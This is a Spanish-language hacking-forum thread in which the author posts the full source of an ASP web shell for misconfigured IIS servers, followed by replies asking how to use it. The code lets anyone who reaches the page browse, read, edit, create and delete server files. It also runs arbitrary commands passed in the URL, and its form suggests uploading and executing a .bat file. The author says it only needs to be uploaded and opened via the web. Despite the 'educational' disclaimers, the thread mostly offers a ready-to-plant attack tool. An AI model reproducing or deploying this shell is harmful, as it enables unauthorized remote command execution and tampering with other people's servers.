Mi Primer ASP Shell

(1/5) > >>

Morris:
Pues vamos al grano... no encontré un buen shell en ASP y decidí hacer uno y de paso practicar mi ASP.
[broma]
(creo que me tardé más en escribir MORRIS con "#" para firmarlo que en hacer el código, jajajaja)
[/broma]

Explota malas configuraciones del IIS.

Espero comentarios, sugerencias, mejoras, errores y testeos.

Morris

Código
<%
Propiedad = "www.elhacker.net"
 
' Este shell servirá en servidores con una mala configuración si el servidor NO ES vulnerable MANDARA ERRORES
' Esta herramienta ha sido creada para ayudar a los administradores a probar la configuración de su IIS
' NO ME HAGO RESPONSABLE POR EL MAL USO QUE SE LE DE A ESTA HERRAMIENTA
' Cualquier comentario y mejora se agradecerá morris@elhacker.net
' Este material es educacional y se debe de usar de la misma forma
' Si encuentras un servidor vulnerable que no sea tuyo, avisa al administrador. El te lo agradecerá.
 
' http://foro.elhacker.net/index.php/topic,56790.0.html
' ##### ##### ##### ##### ##### ##### ##### ##### ##### ##### ##### #####
' ##### ##### ##### ##### VISITANOS EN ##### ##### ##### #####
' ##### ##### ##### ##### FORO.elhacker.net ##### ##### ##### #####
' ##### ##### ##### ##### ##### ##### ##### ##### ##### ##### ##### #####
 
' Code by Morris
 
' ####       ####    #####    ######    ######    ##     ####
' ####      #####   #     #   ##    #   ##    #   ##    #
' ##  #    #   ##   #     #   ## ###    ## ###    ##     #####
' ##   #  #    ##   #     #   ##  #     ##  #     ##          #
' ##    #      ##    #####    ##   #    ##   #    ##     #####
 
 
ON ERROR RESUME NEXT
Archivo = "myshell.asp"
Accion = Request.QueryString("Accion")
Path = Request.QueryString("Path")
IF Path = "" THEN
Path = Server.MapPath(".")
END IF
PathFile = Request.QueryString("PathFile")
 
' Crea instancia del FileSystemObject
Set MyFileObject=Server.CreateObject("Scripting.FileSystemObject")
' Create el objeto Folder
Set MyFolder=MyFileObject.GetFolder(Path)
'Loop a través de los folders
 
FUNCTION MapURL(path)
ON ERROR RESUME NEXT
    dim rootPath, url
 
    'Convierte la ruta fisica por una virtual para abrir los archivos
 
    rootPath = Server.MapPath("/")
    url = Right(path, Len(path) - Len(rootPath))
    MapURL = Replace(url, "\", "/")
 
END FUNCTION
 
' RetVal = Shell("C:\WINDOWS\CALC.EXE", 1)   ' Run Calculator.
'response.Write(Path)
%>
 
<%
IF Propiedad = "" OR Propiedad <> "www.elhacker.net" THEN
Response.Write("<h1><font color=Red>Maldito lammer no borres la propiedad de este código -  <br>Propiedad www.elhacker.net - foro.elhacker.net</font></h1>")
Response.end
END IF
IF Accion = "Guardar" THEN
 
Set MyOutStream=MyFileObject.OpenTextFile(PathFile, 2, TRUE)
 MyOutStream.Write(Request.Form("texto"))
MyOutStream.Close
%>
La información ha sido guardada.
<br>
<a href="javascript:history.go(-2)">Regresar</a>
<%
END IF
 
IF Accion = "Ejecutar" THEN
On Error Resume Next
Dim Shell, Ejecutar
Set Shell = CreateObject("WScript.Shell")
Archivo = Request.QueryString("Archivo")
Set Ejecutar = Shell.Exec(Archivo)
Do While Ejecutar.Status = 0
    WScript.Sleep 100
Loop
WScript.Echo Ejecutar.Status
Response.Write("done")
END IF
 
IF Accion = "Nuevo" THEN
Archivo = Request.QueryString("Archivo")
IF Archivo = "" THEN
Archivo = "ArchivoNuevo.txt"
END IF
 
Set fso = CreateObject("Scripting.FileSystemObject")
Set MyFile = fso.CreateTextFile(PathFile & "\" & Archivo, True)
MyFile.WriteLine("This is a test.")
MyFile.Close
END IF
 
IF Accion = "Borrar" THEN
Set fso = CreateObject("Scripting.FileSystemObject")
Set MyFile = fso.GetFile(PathFile)
MyFile.Delete
END IF
 
IF Accion = "Editar" THEN%>
 
<form action="<%=Archivo%>?Accion=Guardar&PathFile=<%=PathFile%>" method="post">
<textarea name="texto" cols=100 rows=25>
<%
Set MyTextFile = MyFileObject.OpenTextFile(PathFile)
WHILE NOT MyTextFile.AtEndOfStream
Response.Write( Server.HTMLEncode(MyTextFile.ReadLine) & Chr(10))
WEND
MyTextFile.Close
%>
</textarea>
<BR>
<input type=submit value="Guardar">
</form>
 
 
<%
Response.end
END IF
%>
<HTML>
<BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#000000" VLINK="#000000">
<p><BR>
   <B>ASPShell by Morris - Version 1.0 - <a href="http://www.elhacker.net">elhacker.net</a></B><BR>
</p>
<form action="<%=Archivo%>">
<input name="Accion" type="hidden" value="Ruta">
<input name="Path" type="text" id="Path" value="<%=Path%>" size="70">
<input type="submit" value="Ir">
</form>
<br>
 
<TABLE BORDER=0 CELLPADDING=3 CELLSPACING=0 width="100%">
<TR BGCOLOR="#000000">
<TD><FONT COLOR="#FFFFFF"><B>Nombre de Archivo:</B></FONT></TD>
<TD><FONT COLOR="#FFFFFF"><B>Acciones:</B></FONT></TD>
<TD><FONT COLOR="#FFFFFF"><B>Tamaño:</B></FONT></TD>
<TD><FONT COLOR="#FFFFFF"><B>Tipo de archivo:</B></FONT></TD>
<TD><FONT COLOR="#FFFFFF"><B>Fecha de creación:</B></FONT></TD>
 
<%
FOR EACH thing in MyFolder.SubFolders
ON ERROR RESUME NEXT
%>
<TR BGCOLOR="#F7F7E7">
<TD><A HREF="<%=Archivo%>?Path=<%=Path%>\<%=thing.Name%>">[ <%=thing.Name%> ]</A></TD>
<TD></TD>
<TD ALIGN=RIGHT><%=thing.Size%>bytes</TD>
<TD><%=thing.Type%></TD>
<TD><%=thing.DateCreated%></TD>
<%
NEXT
'Loop a través de los archivos
FOR EACH thing in MyFolder.Files
ON ERROR RESUME NEXT
url = MapURL(thing.path)
%>
 
 
<TR BGCOLOR="#F7F7E7">
<TD><A HREF="<%=Archivo%>?Path=<%=Path%>\<%=thing.Name%>&Accion=Editar"><%=thing.Name%></A></TD>
<TD><A HREF="<%=Archivo%>?Path=<%=Path%>&PathFile=<%=Path%>\<%=thing.Name%>&Accion=Borrar">Borar</A></TD>
<TD ALIGN=RIGHT><%=thing.Size%>bytes</TD>
<TD><%=thing.Type%></TD>
<TD><%=thing.DateCreated%></TD>
<%
NEXT
%>
</TABLE>
 
 
Total de directorios
<%
Response.Write(MyFolder.SubFolders.Count )
%>
 
Total de archivos
<%
Response.Write(MyFolder.Files.Count )
%>
<br><br>
<form name="form1" action="<%=Archivo%>">
<input name="Path" type="hidden" value="<%=Path%>">
<input name="PathFile" type="hidden" value="<%=Path%>">
<input name="Accion" type="hidden" value="Nuevo">
 <input name="Archivo" type="text" id="Archivo" value="Nombre Archivo.ext">
 <input name="Submit" type="submit" value="Nuevo Archivo">
</form>
<strong><font color="#FF0000">Lo más recomendable es subir un .bat y ejecutar ese archivo poniendo la ruta completa hasta el .bat </font></strong>
<form name="form1" action="<%=Archivo%>">
<input name="Path" type="hidden" value="<%=Path%>/archivo.bat">
<input name="PathFile" type="hidden" value="<%=Path%>">
<input name="Accion" type="hidden" value="Ejecutar">
 <input name="Archivo" type="text" id="Archivo" value="<%Path%>">
 <input name="Submit" type="submit" value="Ejecutar">
</form>
 
</BODY>
</HTML>
 
<%
Response.Write("Visitanos en foro.elhacker.net")
%>
 

Natanael:
Eso es lenguaje HTMl?
Como se usa?

+ enrique ZP:
Cita de: Natanael en 10 Abril 2005, 14:45 pm

Eso es lenguaje HTMl?
Como se usa?



No no es HTML lee el titulo de el post es ASP y pues se usa como cualquier otra shell creo, la subes al servidore y ella te dice el resto.

Morris:
Sólo súbela al servidor y ejecútala vía web... si es vulnerable verás que funciona :P

BenRu:
Cita de: Morris en 11 Abril 2005, 17:51 pm

Sólo súbela al servidor y ejecútala vía web... si es vulnerable verás que funciona :P


Que quieres decir con esto?Como lo subo?

Navegación

[0] Índice de Mensajes

[#] Página Siguiente